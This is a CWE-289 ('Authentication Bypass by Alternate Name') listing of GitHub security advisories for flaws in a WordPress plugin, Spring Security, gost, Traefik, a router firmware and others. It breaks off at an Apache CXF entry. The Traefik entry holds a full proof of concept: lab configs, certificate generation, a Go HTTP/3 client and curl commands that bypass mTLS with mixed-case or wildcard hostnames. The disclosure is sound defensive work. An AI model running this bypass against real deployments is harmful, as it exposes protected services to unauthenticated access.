Common Weakness Enumeration
CWE-289
AllowedAuthentication Bypass by Alternate Name
Abstraction: Base · Status: Incomplete
The product performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor.
70 vulnerabilities reference this CWE, most recent first.
GHSA-6HCX-8GM4-GX5H
Vulnerability from github – Published: 2026-08-30 06:30 – Updated: 2026-08-30 06:30
VLAI
Details
The MyHome Core plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 4.4.5. This is due to missing authorization in the send_link() AJAX handler and improper token validation in the activate() function. This makes it possible for unauthenticated attackers to generate an activation token for an unconfirmed user account and obtain a valid authentication cookie for that account, including administrators. Successful exploitation requires the MyHome theme to be configured in legacy/WPBakery mode with frontend registration and confirmation email enabled, and the target account must not already have the myhome_agent_confirmed user meta set.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2026-15980"
],
"database_specific": {
"cwe_ids": [
"CWE-289"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-30T05:16:58Z",
"severity": "CRITICAL"
},
"details": "The MyHome Core plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 4.4.5. This is due to missing authorization in the send_link() AJAX handler and improper token validation in the activate() function. This makes it possible for unauthenticated attackers to generate an activation token for an unconfirmed user account and obtain a valid authentication cookie for that account, including administrators. Successful exploitation requires the MyHome theme to be configured in legacy/WPBakery mode with frontend registration and confirmation email enabled, and the target account must not already have the myhome_agent_confirmed user meta set.",
"id": "GHSA-6hcx-8gm4-gx5h",
"modified": "2026-08-30T06:30:21Z",
"published": "2026-08-30T06:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15980"
},
{
"type": "WEB",
"url": "https://themeforest.net/item/myhome-real-estate-wordpress-theme/19508653"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c458e018-5901-4917-9847-35f07646e068?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7VVX-296G-VP4G
Vulnerability from github – Published: 2024-05-06 00:30 – Updated: 2024-07-03 18:38
VLAI
Details
Avantra Server 24.x before 24.0.7 and 24.1.x before 24.1.1 mishandles the security of dashboards, aka XAN-5367. If a user can create a dashboard with an auto-login user, data disclosure may occur. Access control can be bypassed when there is a shared dashboard, and its auto-login user has privileges that a dashboard visitor should not have.
Severity
6.8 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-34519"
],
"database_specific": {
"cwe_ids": [
"CWE-289"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-05T22:15:07Z",
"severity": "MODERATE"
},
"details": "Avantra Server 24.x before 24.0.7 and 24.1.x before 24.1.1 mishandles the security of dashboards, aka XAN-5367. If a user can create a dashboard with an auto-login user, data disclosure may occur. Access control can be bypassed when there is a shared dashboard, and its auto-login user has privileges that a dashboard visitor should not have.",
"id": "GHSA-7vvx-296g-vp4g",
"modified": "2024-07-03T18:38:57Z",
"published": "2024-05-06T00:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34519"
},
{
"type": "WEB",
"url": "https://docs.avantra.com/release-notes/24/changes.html"
},
{
"type": "WEB",
"url": "https://support.avantra.com/support/solutions/articles/44002516766-xan-5367-security-vulnerability-fix-for-dashboards"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8V5Q-RHF3-JPHM
Vulnerability from github – Published: 2025-09-16 15:32 – Updated: 2025-09-16 21:34
VLAI
Summary
Spring Security annotation detection mechanism has authorization bypass
Details
The Spring Security annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue when using @PreAuthorize and other method security annotations, resulting in an authorization bypass.
Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.
You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.
This CVE is published in conjunction with CVE-2025-41249 https://spring.io/security/cve-2025-41249 .
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.security:spring-security-core"
},
"ranges": [
{
"events": [
{
"introduced": "6.4.0"
},
{
"fixed": "6.4.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.security:spring-security-core"
},
"ranges": [
{
"events": [
{
"introduced": "6.5.0"
},
{
"fixed": "6.5.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-41248"
],
"database_specific": {
"cwe_ids": [
"CWE-289",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-16T19:34:33Z",
"nvd_published_at": "2025-09-16T11:15:30Z",
"severity": "HIGH"
},
"details": "The Spring Security annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue when using @PreAuthorize\u00a0and other method security annotations, resulting in an authorization bypass.\n\nYour application may be affected by this if you are using Spring Security\u0027s @EnableMethodSecurity\u00a0feature.\n\nYou are not affected by this if you are not using @EnableMethodSecurity\u00a0or if you do not use security annotations on methods in generic superclasses or generic interfaces.\n\nThis CVE is published in conjunction with CVE-2025-41249 https://spring.io/security/cve-2025-41249 .",
"id": "GHSA-8v5q-rhf3-jphm",
"modified": "2025-09-16T21:34:17Z",
"published": "2025-09-16T15:32:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41248"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-security/issues/17898"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-security/issues/17899"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-security/commit/d0f93fa6d8338149943ae640c53db07de827867f"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-security/commit/e5694ac7b5e4394b920c6cab48b7bfbd871f84bd"
},
{
"type": "PACKAGE",
"url": "https://github.com/spring-projects/spring-security"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-security/releases/tag/6.4.10"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-security/releases/tag/6.5.4"
},
{
"type": "WEB",
"url": "https://spring.io/security/cve-2025-41248"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Spring Security annotation detection mechanism has authorization bypass"
}
GHSA-8WXX-35QC-VP6R
Vulnerability from github – Published: 2024-07-03 18:48 – Updated: 2024-10-25 22:07
VLAI
Summary
Missing key verification in gost
Details
An authentication bypass in the SSH service of gost v2.11.5 allows attackers to intercept communications via setting the HostKeyCallback function to ssh.InsecureIgnoreHostKey
Severity
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/ginuerzh/gost"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.11.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-39223"
],
"database_specific": {
"cwe_ids": [
"CWE-289",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-25T22:07:23Z",
"nvd_published_at": "2024-07-03T15:15:06Z",
"severity": "CRITICAL"
},
"details": "An authentication bypass in the SSH service of gost v2.11.5 allows attackers to intercept communications via setting the HostKeyCallback function to ssh.InsecureIgnoreHostKey",
"id": "GHSA-8wxx-35qc-vp6r",
"modified": "2024-10-25T22:07:23Z",
"published": "2024-07-03T18:48:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39223"
},
{
"type": "WEB",
"url": "https://github.com/ginuerzh/gost/issues/1034"
},
{
"type": "WEB",
"url": "https://gist.github.com/nyxfqq/a7242170b1118e78436a62dee4e09e8a"
},
{
"type": "PACKAGE",
"url": "https://github.com/ginuerzh/gost"
},
{
"type": "WEB",
"url": "https://github.com/ginuerzh/gost/blob/729d0e70005607dc7c69fc1de62fd8fe21f85355/ssh.go#L229"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Missing key verification in gost"
}
GHSA-9CR8-Q42Q-G8M7
Vulnerability from github – Published: 2026-06-16 21:04 – Updated: 2026-09-02 21:11
VLAI
Summary
Traefik: HTTP/3 mTLS bypass via exact SNI TLSOptions lookup for wildcard and mixed-case hosts
Details
Summary
There is a critical vulnerability in Traefik's HTTP/3 (QUIC) TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP/3 is enabled on an entrypoint, the TLS handshake selects the applicable TLS configuration through an exact, case-sensitive lookup on the SNI value, which fails to match wildcard host patterns (e.g., *.example.com) or case variants of the configured hostname. Because the handshake falls back to the default TLS configuration — which may not require client certificates — a client can complete the QUIC handshake without presenting a certificate, while the subsequent HTTP routing layer still dispatches the request to a backend protected by a router-specific mTLS policy. The issue affects deployments where HTTP/3 is enabled, a router uses a wildcard Host rule or case-insensitive hostname matching, a router-specific TLSOptions enforces client certificate authentication, and UDP access to the entrypoint is reachable by an attacker.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.18
- https://github.com/traefik/traefik/releases/tag/v3.7.3
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description ### Summary Traefik's HTTP/3 TLS configuration selection can ignore router-specific `TLSOptions` and allow unauthenticated clients to bypass mTLS. The QUIC/HTTP3 path resolves TLS configuration with `Router.GetTLSGetClientInfo()`, which performs a direct, case-sensitive map lookup on `hostHTTPTLSConfig[info.ServerName]`. This is inconsistent with the later HTTP host routing semantics, where the same request host can still match wildcard or case-insensitive `Host` rules after the HTTP/3 TLS handshake has already fallen back to the default TLS configuration. Two exploit paths are confirmed: 1. `Host("*.example.com")` with `tls.options=mtls`: HTTP/2 requires a client certificate, but HTTP/3 reaches the protected backend without one. 2. `Host("api.example.com")` with `tls.options=mtls`: HTTP/2 requires a client certificate, but HTTP/3 with mixed-case SNI/Host such as `API.EXAMPLE.COM` reaches the protected backend without one. Confirmed versions: - wildcard HTTP/3 bypass: `v3.7.0`, `v3.7.1` - exact-host mixed-case HTTP/3 bypass: `v3.6.17`, `v3.7.0`, `v3.7.1` ### Details HTTP/3 installs a QUIC TLS callback in `pkg/server/server_entrypoint_tcp_http3.go`:h3.Server = &http3.Server{
Addr: config.GetAddress(),
Port: config.HTTP3.AdvertisedPort,
Handler: httpsServer.Server.(*http.Server).Handler,
TLSConfig: &tls.Config{GetConfigForClient: h3.getGetConfigForClient},
}
func (e *http3server) Switch(rt *tcprouter.Router) {
e.lock.Lock()
defer e.lock.Unlock()
e.getter = rt.GetTLSGetClientInfo()
}
func (r *Router) GetTLSGetClientInfo() func(info *tls.ClientHelloInfo) (*tls.Config, error) {
return func(info *tls.ClientHelloInfo) (*tls.Config, error) {
if tlsConfig, ok := r.hostHTTPTLSConfig[info.ServerName]; ok {
return tlsConfig, nil
}
return r.httpsTLSConfig, nil
}
}
http:
routers:
protected:
rule: Host(`*.example.com`)
service: protected
tls:
options: mtls
services:
protected:
loadBalancer:
servers:
- url: http://protected:80
tls:
certificates:
- certFile: /certs/server.crt
keyFile: /certs/server.key
options:
mtls:
clientAuth:
caFiles:
- /certs/ca.crt
clientAuthType: RequireAndVerifyClientCert
http:
routers:
protected:
rule: Host(`api.example.com`)
service: protected
tls:
options: mtls
services:
protected:
loadBalancer:
servers:
- url: http://protected:80
tls:
certificates:
- certFile: /certs/server.crt
keyFile: /certs/server.key
options:
mtls:
clientAuth:
caFiles:
- /certs/ca.crt
clientAuthType: RequireAndVerifyClientCert
services:
traefik:
image: traefik:v3.7.1
command:
- --log.level=DEBUG
- --entrypoints.websecure.address=:8443
- --entrypoints.websecure.http3
- --providers.file.filename=/etc/traefik/dynamic.yml
- --providers.file.watch=false
ports:
- "8443:8443/tcp"
- "8443:8443/udp"
volumes:
- ./dynamic.yml:/etc/traefik/dynamic.yml:ro
- ./certs:/certs:ro
depends_on:
- protected
protected:
image: traefik/whoami:v1.11
command:
- --name=PROTECTED
rm -rf certs
mkdir -p certs
openssl req -x509 -newkey rsa:2048 -nodes -days 7 -keyout certs/ca.key -out certs/ca.crt -subj "/CN=traefik-poc-ca"
openssl req -newkey rsa:2048 -nodes -keyout certs/server.key -out certs/server.csr -subj "/CN=api.example.com" -addext "subjectAltName=DNS:api.example.com,DNS:*.example.com"
openssl x509 -req -in certs/server.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial -out certs/server.crt -days 7 -sha256 -copy_extensions copyall
package main
import (
"crypto/tls"
"fmt"
"io"
"net/http"
"os"
"time"
"github.com/quic-go/quic-go/http3"
)
func main() {
serverName := os.Getenv("TLS_SERVER_NAME")
if serverName == "" {
serverName = "API.EXAMPLE.COM"
}
host := os.Getenv("HTTP_HOST")
if host == "" {
host = "API.EXAMPLE.COM"
}
tr := &http3.Transport{
TLSClientConfig: &tls.Config{
ServerName: serverName,
InsecureSkipVerify: true,
},
}
defer tr.Close()
client := &http.Client{Transport: tr, Timeout: 8 * time.Second}
req, err := http.NewRequest(http.MethodGet, "https://127.0.0.1:8443/", nil)
if err != nil {
panic(err)
}
req.Host = host
resp, err := client.Do(req)
if err != nil {
fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
defer resp.Body.Close()
fmt.Println(resp.Proto, resp.StatusCode)
body, _ := io.ReadAll(resp.Body)
fmt.Print(string(body))
}
curl --noproxy '*' --http2 -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/
TLS alert ... certificate required
curl --noproxy '*' --http3-only -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/
HTTP/3 200
Name: PROTECTED
Host: api.example.com:8443
curl --noproxy '*' --http2 -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/
TLS alert ... certificate required
curl --noproxy '*' --http2 -skv --resolve API.EXAMPLE.COM:8443:127.0.0.1 https://API.EXAMPLE.COM:8443/
TLS alert ... certificate required
TLS_SERVER_NAME=API.EXAMPLE.COM HTTP_HOST=API.EXAMPLE.COM go run ./h3-case-client.go
HTTP/3.0 200
Name: PROTECTED
Host: API.EXAMPLE.COM
go test ./pkg/server/router/tcp -run 'TestGetTLSGetClientInfo_(WildcardCurrentBehavior|ExactHostCaseSensitivityCurrentBehavior)$' -count=1
wildcard H3 bypass: affected on v3.7.0 and v3.7.1
exact-case H3 bypass: affected on v3.6.17, v3.7.0, and v3.7.1
Severity
10.0 (Critical)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.7.2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0"
},
{
"fixed": "3.7.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.11.50"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.51"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.7.34"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.6.17"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53622"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-289"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T21:04:29Z",
"nvd_published_at": "2026-06-23T20:16:48Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThere is a critical vulnerability in Traefik\u0027s HTTP/3 (QUIC) TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP/3 is enabled on an entrypoint, the TLS handshake selects the applicable TLS configuration through an exact, case-sensitive lookup on the SNI value, which fails to match wildcard host patterns (e.g., `*.example.com`) or case variants of the configured hostname. Because the handshake falls back to the default TLS configuration \u2014 which may not require client certificates \u2014 a client can complete the QUIC handshake without presenting a certificate, while the subsequent HTTP routing layer still dispatches the request to a backend protected by a router-specific mTLS policy. The issue affects deployments where HTTP/3 is enabled, a router uses a wildcard `Host` rule or case-insensitive hostname matching, a router-specific `TLSOptions` enforces client certificate authentication, and UDP access to the entrypoint is reachable by an attacker.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.18\n- https://github.com/traefik/traefik/releases/tag/v3.7.3\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n\nTraefik\u0027s HTTP/3 TLS configuration selection can ignore router-specific `TLSOptions` and allow unauthenticated clients to bypass mTLS. The QUIC/HTTP3 path resolves TLS configuration with `Router.GetTLSGetClientInfo()`, which performs a direct, case-sensitive map lookup on `hostHTTPTLSConfig[info.ServerName]`.\n\nThis is inconsistent with the later HTTP host routing semantics, where the same request host can still match wildcard or case-insensitive `Host` rules after the HTTP/3 TLS handshake has already fallen back to the default TLS configuration. Two exploit paths are confirmed:\n\n1. `Host(\"*.example.com\")` with `tls.options=mtls`: HTTP/2 requires a client certificate, but HTTP/3 reaches the protected backend without one.\n2. `Host(\"api.example.com\")` with `tls.options=mtls`: HTTP/2 requires a client certificate, but HTTP/3 with mixed-case SNI/Host such as `API.EXAMPLE.COM` reaches the protected backend without one.\n\nConfirmed versions:\n\n- wildcard HTTP/3 bypass: `v3.7.0`, `v3.7.1`\n- exact-host mixed-case HTTP/3 bypass: `v3.6.17`, `v3.7.0`, `v3.7.1`\n\n### Details\n\nHTTP/3 installs a QUIC TLS callback in `pkg/server/server_entrypoint_tcp_http3.go`:\n\n```go\nh3.Server = \u0026http3.Server{\n Addr: config.GetAddress(),\n Port: config.HTTP3.AdvertisedPort,\n Handler: httpsServer.Server.(*http.Server).Handler,\n TLSConfig: \u0026tls.Config{GetConfigForClient: h3.getGetConfigForClient},\n}\n```\n\nThe callback is wired to the TCP router\u0027s TLS selector:\n\n```go\nfunc (e *http3server) Switch(rt *tcprouter.Router) {\n e.lock.Lock()\n defer e.lock.Unlock()\n\n e.getter = rt.GetTLSGetClientInfo()\n}\n```\n\nThe selector in `pkg/server/router/tcp/router.go` only performs an exact map lookup:\n\n```go\nfunc (r *Router) GetTLSGetClientInfo() func(info *tls.ClientHelloInfo) (*tls.Config, error) {\n return func(info *tls.ClientHelloInfo) (*tls.Config, error) {\n if tlsConfig, ok := r.hostHTTPTLSConfig[info.ServerName]; ok {\n return tlsConfig, nil\n }\n\n return r.httpsTLSConfig, nil\n }\n}\n```\n\nThat creates two mismatches:\n\n- wildcard keys such as `*.example.com` are never matched for `api.example.com`\n- lower-case router keys such as `api.example.com` are not matched for mixed-case SNI such as `API.EXAMPLE.COM`\n\nOn the later HTTP request path, the same host can still match wildcard or case-insensitive `Host` rules through the muxer. The HTTP/3 TLS handshake path falls back to the default TLS config before that routing decision happens. If the default TLS config does not require a client certificate, the QUIC handshake succeeds without mTLS, and the later HTTP router still routes to the protected backend.\n\nPreconditions:\n\n- HTTP/3 is enabled on the affected entrypoint.\n- A router-specific `TLSOptions` configuration enforces client certificate authentication.\n- The default/fallback TLS configuration does not require client certificates.\n- UDP access to the HTTP/3 entrypoint is reachable by the attacker.\n\nMinimal wildcard dynamic configuration:\n\n```yaml\nhttp:\n routers:\n protected:\n rule: Host(`*.example.com`)\n service: protected\n tls:\n options: mtls\n\n services:\n protected:\n loadBalancer:\n servers:\n - url: http://protected:80\n\ntls:\n certificates:\n - certFile: /certs/server.crt\n keyFile: /certs/server.key\n\n options:\n mtls:\n clientAuth:\n caFiles:\n - /certs/ca.crt\n clientAuthType: RequireAndVerifyClientCert\n```\n\nMinimal exact-host dynamic configuration:\n\n```yaml\nhttp:\n routers:\n protected:\n rule: Host(`api.example.com`)\n service: protected\n tls:\n options: mtls\n\n services:\n protected:\n loadBalancer:\n servers:\n - url: http://protected:80\n\ntls:\n certificates:\n - certFile: /certs/server.crt\n keyFile: /certs/server.key\n\n options:\n mtls:\n clientAuth:\n caFiles:\n - /certs/ca.crt\n clientAuthType: RequireAndVerifyClientCert\n```\n\nMinimal Docker Compose:\n\n```yaml\nservices:\n traefik:\n image: traefik:v3.7.1\n command:\n - --log.level=DEBUG\n - --entrypoints.websecure.address=:8443\n - --entrypoints.websecure.http3\n - --providers.file.filename=/etc/traefik/dynamic.yml\n - --providers.file.watch=false\n ports:\n - \"8443:8443/tcp\"\n - \"8443:8443/udp\"\n volumes:\n - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n - ./certs:/certs:ro\n depends_on:\n - protected\n\n protected:\n image: traefik/whoami:v1.11\n command:\n - --name=PROTECTED\n```\n\nCertificate generation:\n\n```bash\nrm -rf certs\nmkdir -p certs\n\nopenssl req -x509 -newkey rsa:2048 -nodes -days 7 -keyout certs/ca.key -out certs/ca.crt -subj \"/CN=traefik-poc-ca\"\n\nopenssl req -newkey rsa:2048 -nodes -keyout certs/server.key -out certs/server.csr -subj \"/CN=api.example.com\" -addext \"subjectAltName=DNS:api.example.com,DNS:*.example.com\"\n\nopenssl x509 -req -in certs/server.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial -out certs/server.crt -days 7 -sha256 -copy_extensions copyall\n```\n\nThe mixed-case HTTP/3 client used for the exact-host case:\n\n```go\npackage main\n\nimport (\n \"crypto/tls\"\n \"fmt\"\n \"io\"\n \"net/http\"\n \"os\"\n \"time\"\n\n \"github.com/quic-go/quic-go/http3\"\n)\n\nfunc main() {\n serverName := os.Getenv(\"TLS_SERVER_NAME\")\n if serverName == \"\" {\n serverName = \"API.EXAMPLE.COM\"\n }\n\n host := os.Getenv(\"HTTP_HOST\")\n if host == \"\" {\n host = \"API.EXAMPLE.COM\"\n }\n\n tr := \u0026http3.Transport{\n TLSClientConfig: \u0026tls.Config{\n ServerName: serverName,\n InsecureSkipVerify: true,\n },\n }\n defer tr.Close()\n\n client := \u0026http.Client{Transport: tr, Timeout: 8 * time.Second}\n\n req, err := http.NewRequest(http.MethodGet, \"https://127.0.0.1:8443/\", nil)\n if err != nil {\n panic(err)\n }\n req.Host = host\n\n resp, err := client.Do(req)\n if err != nil {\n fmt.Fprintln(os.Stderr, err)\n os.Exit(1)\n }\n defer resp.Body.Close()\n\n fmt.Println(resp.Proto, resp.StatusCode)\n body, _ := io.ReadAll(resp.Body)\n fmt.Print(string(body))\n}\n```\n\n### PoC\n\nWildcard bypass:\n\n1. Start Traefik with the wildcard dynamic configuration above.\n2. Control over TCP/TLS:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http2 -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\n3. HTTP/3 bypass:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http3-only -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/\n```\n\nObserved result:\n\n```text\nHTTP/3 200\nName: PROTECTED\nHost: api.example.com:8443\n```\n\nExact-host mixed-case bypass:\n\n1. Start Traefik with the exact-host dynamic configuration above.\n2. Control over TCP/TLS:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http2 -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\n3. Mixed-case HTTP/2 control:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http2 -skv --resolve API.EXAMPLE.COM:8443:127.0.0.1 https://API.EXAMPLE.COM:8443/\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\nThis control confirms that the bypass is specific to the HTTP/3 TLS configuration selection path in this test setup. The HTTP/2 request to the same mixed-case hostname still fails with `certificate required`.\n\n4. HTTP/3 bypass with the same mixed-case hostname:\n\n```bash\nTLS_SERVER_NAME=API.EXAMPLE.COM HTTP_HOST=API.EXAMPLE.COM go run ./h3-case-client.go\n```\n\nObserved result:\n\n```text\nHTTP/3.0 200\nName: PROTECTED\nHost: API.EXAMPLE.COM\n```\n\nLocal regression tests used during validation:\n\n```bash\ngo test ./pkg/server/router/tcp -run \u0027TestGetTLSGetClientInfo_(WildcardCurrentBehavior|ExactHostCaseSensitivityCurrentBehavior)$\u0027 -count=1\n```\n\nThese tests were added locally during analysis to demonstrate the current behavior of `GetTLSGetClientInfo()`. They are not required to reproduce the issue; the Docker and `curl`/HTTP3 commands above are the end-to-end reproduction.\n\nVersion matrix observed with Docker images:\n\n```text\nwildcard H3 bypass: affected on v3.7.0 and v3.7.1\nexact-case H3 bypass: affected on v3.6.17, v3.7.0, and v3.7.1\n```\n\nThe wildcard case was tested on v3.7.x because wildcard `Host` / `HostSNI` matching and TLSOptions association for wildcard domains were introduced in v3.7.0.\n\n### Impact\n\nDeployments that use router `TLSOptions` as an access-control boundary for HTTP/3 can expose protected backends without client authentication.\n\nThe highest-impact case is mTLS:\n\n- normal HTTP/2/TCP access to the protected host requires a client certificate\n- HTTP/3 access to the same route falls back to the default TLS config\n- the request is then routed to the protected backend without satisfying the route\u0027s mTLS policy\n\nThis can expose confidential data or privileged backend operations to unauthenticated network clients. The issue is especially severe because it does not require credentials, user interaction, or a prior foothold.\n\nPossible workarounds until a fix is available:\n\n- Disable HTTP/3 on entrypoints that rely on router-specific mTLS.\n- Enforce mTLS in the default TLS options as well, so fallback TLS configuration is not weaker than router-specific configuration.\n- Block UDP access to the HTTP/3 entrypoint.\n- Enforce client authentication at an additional layer behind Traefik.\n\n\u003c/details\u003e",
"id": "GHSA-9cr8-q42q-g8m7",
"modified": "2026-09-02T21:11:48Z",
"published": "2026-06-16T21:04:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-9cr8-q42q-g8m7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53622"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/pull/13214"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:62260"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-53622"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491924"
},
{
"type": "WEB",
"url": "https://community.traefik.io/t/new-security-update-for-traefik-2-11-2-11-48-3-6-3-6-19-and-3-7-3-7-3/29917"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/compare/v3.6.17...v3.6.18"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.7.3"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53622.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Traefik: HTTP/3 mTLS bypass via exact SNI TLSOptions lookup for wildcard and mixed-case hosts"
}
GHSA-9HM7-RV43-3CHF
Vulnerability from github – Published: 2023-04-14 15:30 – Updated: 2023-04-14 15:30
VLAI
Details
Authentication Bypass by Alternate Name vulnerability in DTS Electronics Redline Router firmware allows Authentication Bypass.This issue affects Redline Router: before 7.17.
Severity
10.0 (Critical)
{
"affected": [],
"aliases": [
"CVE-2023-1803"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-289"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-14T14:15:00Z",
"severity": "CRITICAL"
},
"details": "Authentication Bypass by Alternate Name vulnerability in DTS Electronics Redline Router firmware allows Authentication Bypass.This issue affects Redline Router: before 7.17.\n\n",
"id": "GHSA-9hm7-rv43-3chf",
"modified": "2023-04-14T15:30:29Z",
"published": "2023-04-14T15:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1803"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-23-0227"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9MRV-8PVF-HF4M
Vulnerability from github – Published: 2026-06-12 12:31 – Updated: 2026-08-20 18:32
VLAI
Summary
Apache CXF OAuth2 Missing JWT Audience and Issuer Validation in Access Token Validator
Details
